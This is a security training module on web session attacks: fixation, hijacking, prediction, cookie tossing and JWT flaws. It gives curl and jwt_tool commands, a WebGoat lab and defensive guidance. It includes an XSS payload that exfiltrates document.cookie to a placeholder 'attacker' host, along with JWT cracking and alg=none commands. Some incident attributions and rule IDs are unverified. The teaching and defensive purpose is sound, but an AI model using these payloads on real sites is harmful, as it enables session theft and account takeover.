Skip to content

Session Management Attacks

Session management is the bridge between one authenticated HTTP request and the next. The web is stateless, so every protected page relies on a bearer token — typically a cookie — to mean “this is still user X.” If that assertion can be forged, predicted, fixed, leaked, or refused to rotate, the attacker becomes the user with no password required. The 2017 Equifax breach was credential theft plus an unpatched session layer; the 2019 Dota 2 and 2022 Nikon incidents traced back to predictable session tokens and JWT misuse respectively. This module covers the cookie/JWT session lifecycle and the concrete attacks against each stage.

A session is three state machines: the client-side token (cookie/JWT), the server-side store (Redis, DB, JWT-stateless), and the binding between them. The threat is any path where an attacker can produce a token the server accepts as someone else’s.

Login:
POST /login creds ──► server validates ──► issues session id S
│
▼
Set-Cookie: sid=S; HttpOnly; Secure; SameSite=Lax
Subsequent request:
GET /account
Cookie: sid=S ──► server looks up S in store (or verifies JWT sig)
│
├── if found/valid: act as user S
└── if not: 401
Attacks against this loop:
[predict] S = base32(rand4bytes) → enumerate
[fixate] force victim to use S=attacker-chosen
[hijack] read S out of (XSS | log | referer | sniff | browser ext)
[no-rotate] login does not reissue S → pre-login S remains valid post-login
[no-kill] logout does not invalidate S server-side → still works
[jwt-none] W13: alg=none bypass
[csrf] W4: cross-site request rides on auto-attached cookie

The same sid=S is reused across every request — which is what makes it valuable and what makes every leak a full takeover.

  1. Token issuance — server generates the session ID. The CSPRNG source matters: Linux getrandom(2), OpenSSL RAND_bytes, /dev/urandom. Java’s java.util.Random is not CSPRNG; PHP’s rand() is not. Predictable generators produce enumerable sessions —CVE-2019-1980-class bugs.
  2. Token transmission — Set-Cookie header. Modern attributes: HttpOnly (no JS read), Secure (HTTPS only), SameSite=Strict|Lax|None, Path, __Host- prefix (forces Secure + Path=/ + no Domain).
  3. Token validation — server stores S → user_id (stateful) or embeds claims in a signed JWT (stateless). Stateful: lookup is O(1) revocation. Stateless: revocation requires a denylist or short exp.
  4. Token lifetime — Max-Age / Expires for cookies; exp, iat, nbf for JWT. Long-lived + no rotation = breach amplification.
  5. Token termination — logout must invalidate both client (clear cookie) and server (delete store entry, or put JTI on denylist). Logout that only clears the cookie leaves the captured token usable.
TechniqueDescriptionDetection Difficulty
Session predictionSequential or low-entropy IDs — increment & hijackEasy — but only after you find the pattern
Session fixationForce victim’s session ID pre-login; ID survives loginEasy to patch (rotate on auth), easy to miss in code review
Session hijacking via XSSdocument.cookie exfil when HttpOnly absentEasy if HttpOnly was forgotten; impossible if set
Session hijacking via sniffingHTTP (not HTTPS) cookies on shared L2Trivial on open WiFi — defense is HSTS + Secure
Session in URL (?sid=)Token leaked via Referer to third parties / logsEasy — token in URL is visible in proxy logs
No rotation on loginPre-auth sid stays valid post-authMedium — needs two requests to demonstrate
No server-side invalidation on logoutCookie cleared but server still accepts tokenMedium — replay logout token, still 200
Long-lived refresh tokenJWT exp weeks out, no revoke pathHard — design flaw, not exploit
Cookie tossingSet cookie from subdomain to clobber parent domainMedium — subdomain trust boundary issue
CSRF (cookie ride-along)See W4 — covered there
JWT alg=none / RS256→HS256See W13 — JWT-specific
Cross-site request leak via cacheCache-Control: private missing → cached response includes Set-CookieMedium — CDN misconfig
Terminal window
# Inspect a cookie's security posture
curl -sI http://target/login -d 'user=x&pass=y' | grep -i set-cookie
# Look for: HttpOnly, Secure, SameSite, __Host- prefix, Domain, Path
# Session prediction — collect 50 tokens and run Burp Sequencer
# Burp → Send to Sequencer → select Cookie → Live Capture → 1000+ samples → Analyze
# Look at: entropy per character, transition matrix, FIPS 140-2 pass rate
# Manual pattern check — are tokens sequential?
for i in 1 2 3 4 5; do
curl -sI http://target/login -d "user=u$i&pass=p$i" | grep -i set-cookie
done | sort -u
# Session fixation (pre-login ID injection)
# 1. Get attacker-chosen session ID accepted by server
curl -sI http://target/ -H "Cookie: sid=ATTACKER123" | grep -i set-cookie
# 2. If server echoes sid=ATTACKER123 (does not regenerate), feed link to victim:
# http://target/login?sid=ATTACKER123 (or via URL param if app accepts it)
# 3. Victim logs in → their auth now bound to ATTACKER123 → attacker reuses it:
curl http://target/account -H "Cookie: sid=ATTACKER123"
# Test logout invalidation — capture pre-logout token
TOK=$(curl -si http://target/login -d 'user=u&pass=p' | grep -i 'set-cookie: sid=' | sed 's/.*sid=//;s/;.*//')
# Logout
curl -s http://target/logout -H "Cookie: sid=$TOK"
# Replay token — if still 200, logout did not invalidate server-side
curl -s http://target/account -H "Cookie: sid=$TOK" -o /dev/null -w "%{http_code}\n"
# JWT decode (no validation)
echo -n '<JWT>' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
# jwt_tool — full analysis, signature brute, alg confusion
python3 jwt_tool.py <JWT> # decode + structure
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # crack HS256
python3 jwt_tool.py <JWT> -X k -pk public.pem # RS256→HS256 confusion
python3 jwt_tool.py <JWT> -X n # alg=none
python3 jwt_tool.py <JWT> -T # tamper payload claims
# Cookie tossing from subdomain (requires attacker control of sub.target.com)
Set-Cookie: sid=attacker; Domain=.target.com; Path=/
# Subsequent requests to www.target.com carry sid=attacker, clobbering legit
# Capture cookies via XSS when HttpOnly is missing
<script>new Image().src='https://attacker/?c='+encodeURIComponent(document.cookie)</script>
# nuclei — session-related templates
nuclei -u http://target -t ~/nuclei-templates/http/technologies/ -tags session,cookie,jwt
# Look for session IDs in URL parameters (Referer leak path)
ffuf -u 'http://target/FUZZ' -w wordlist.txt -mc 200 -H "Cookie: sid=test" \
-H "Referer: http://target/?sid=test"

ModSecurity OWASP CRS — no single rule family for “session attacks”, but:

  • 920220 (Content-Type policy) — catches some login JSON manipulation
  • 942100 (SQLi) — catches SQLi auth bypass leading to session grant
  • 941100 (XSS) — catches cookie-stealing XSS payloads

Suricata SID 2221019 — auth brute force / session prediction rate pattern [verify].

MITRE ATT&CK T1550.004 — Web Session Cookie (use of stolen session cookies, esp. by APT groups post-breach — the SolarWinds SUNBURST C2 used stolen web cookies).

MITRE ATT&CK T1185 — Browser Session Hijacking (Man-in-the-Browser, malicious extension reading cookies).

MITRE ATT&CK T1606.001 — Forge Web Credentials: Session Cookies (forging or replaying cookies to impersonate).

Wazuh rule 920/550 — multiple failed logons then success [verify]. Wazuh rule 2921 — simultaneous login from different IPs (web access log decoder) [verify].

Sysmon EID 22 — DNS resolution to known cookie exfil domains (e.g., attacker C2 endpoint collecting document.cookie).

HttpOnly bypass via CSRF + XS-Leak. If HttpOnly blocks JS read of the cookie, an attacker cannot exfil it directly. But the cookie is still auto-attached to cross-site requests. Combined with a XS-Leak (e.g., window.open + timing on error pages), the attacker can confirm whether a victim is logged in and force actions on their behalf — CSRF, not theft.

Cookie tossing across subdomain boundary. If target.com sets sid without __Host- prefix and any subdomain (e.g., blog.target.com) is attacker-controlled or vulnerable to XSS, the subdomain can Set-Cookie: sid=attacker; Domain=.target.com. The next request to www.target.com carries the attacker’s sid. Defense: __Host- prefix forces Secure, Path=/, no Domain=.

Session fixation via URL parameter. Some legacy apps accept ?sid= and use it as the session ID. Send a victim a link with ?sid=ATTACKER123; if the app does not regenerate on login, the attacker’s sid is now authenticated as the victim. Defense: never accept session IDs from URL; rotate on every privilege change.

JWT refresh-token replay. If refresh_token is not bound to the access-token’s jti or to a server-side session, replaying it from another IP keeps minting new access tokens. Defense: bind refresh token to a server-side record, rotate on use, revoke on logout.

TLS sniffing via downgrade. If HSTS is not set, the first request to http://target/ can be intercepted and the cookie stripped before the redirect to HTTPS. Defense: HSTS preload, includeSubDomains, max-age=63072000.

EvasionWhat it bypassesDefense
Cookie tossingSame-origin isolation__Host- prefix, explicit Domain= only
Session in URLCookie protectionNever put session in URL; warn on referer leak
XS-Leak + CSRFHttpOnly cookie readSameSite=Strict + postMessage origin check
Refresh-token replayPer-IP session checkBind refresh to server-side record + rotate on use
Downgrade to HTTPSecure cookieHSTS preload list
Long-lived JWTServer-side revocationShort exp, refresh-token rotation, jti denylist

⚠️ What caught me: A target’s session cookies were sid=<32 hex>, looked random. I ran Burp Sequencer on 2,000 samples and it reported 5.7 bits/char — healthy. But the same token worked after logout, after password change, and after a 24-hour gap. The actual attack wasn’t prediction — it was no server-side expiration. The cookie was the entire state. The fix wasn’t a longer token, it was a server-side session store with TTL and explicit logout invalidation. Lesson: entropy is necessary but not sufficient. The session lifecycle (issue, validate, rotate, revoke) matters as much as the token’s randomness.

Container: OWASP WebGoat (webgoat/goatandwolf) — has dedicated session-management lessons.

Terminal window
docker run --rm -p 8080:8080 -p 9090:9090 webgoat/goatandwolf
# Browse to http://localhost:8080/WebGoat
# Stage 5 (Session Management) → Hijack Session, Fixation

Objective: complete (1) the session hijack challenge (predict or steal the session), (2) the session fixation challenge (force a session ID pre-login and survive login), and (3) verify that logout actually invalidates the token by replaying it.

Expected flag format: flag{session_fixation_survived_login_rotation_missing}.

Detection that should fire: ModSecurity 942100 if SQLi is used to leak the session table; Wazuh rule 920/550 if you brute the session; in the WebGoat solution writeup, the request log shows the pre-login sid value persisting across the login request — visible in the access log.

Conceptual: explain why a 128-bit CSPRNG-generated session ID is still vulnerable if the application accepts session IDs from URL parameters and does not regenerate the ID on login.

Technical: walk through the cookie-tossing attack from a compromised subdomain. What cookie attributes — when set on the parent — completely prevent it?

Scenario: a JWT-based app issues access tokens with exp = 15min and refresh tokens with exp = 30d. The access tokens are stateless (signed only). Describe two distinct ways an attacker who exfiltrates one refresh token can maintain access for the full 30 days, and the controls that prevent each.

Why does SameSite=Lax provide CSRF defense for top-level GET requests but not for POST/PUT/DELETE? What request shapes still ride along under Lax?

Compare stateful sessions (server-side store + opaque cookie) and stateless sessions (JWT). For each, give one attack that is easier against it than the other, and one defense unique to its model.

→ W4 (CSRF) · W13 (JWT Attacks) · W11 (Authentication Bypass)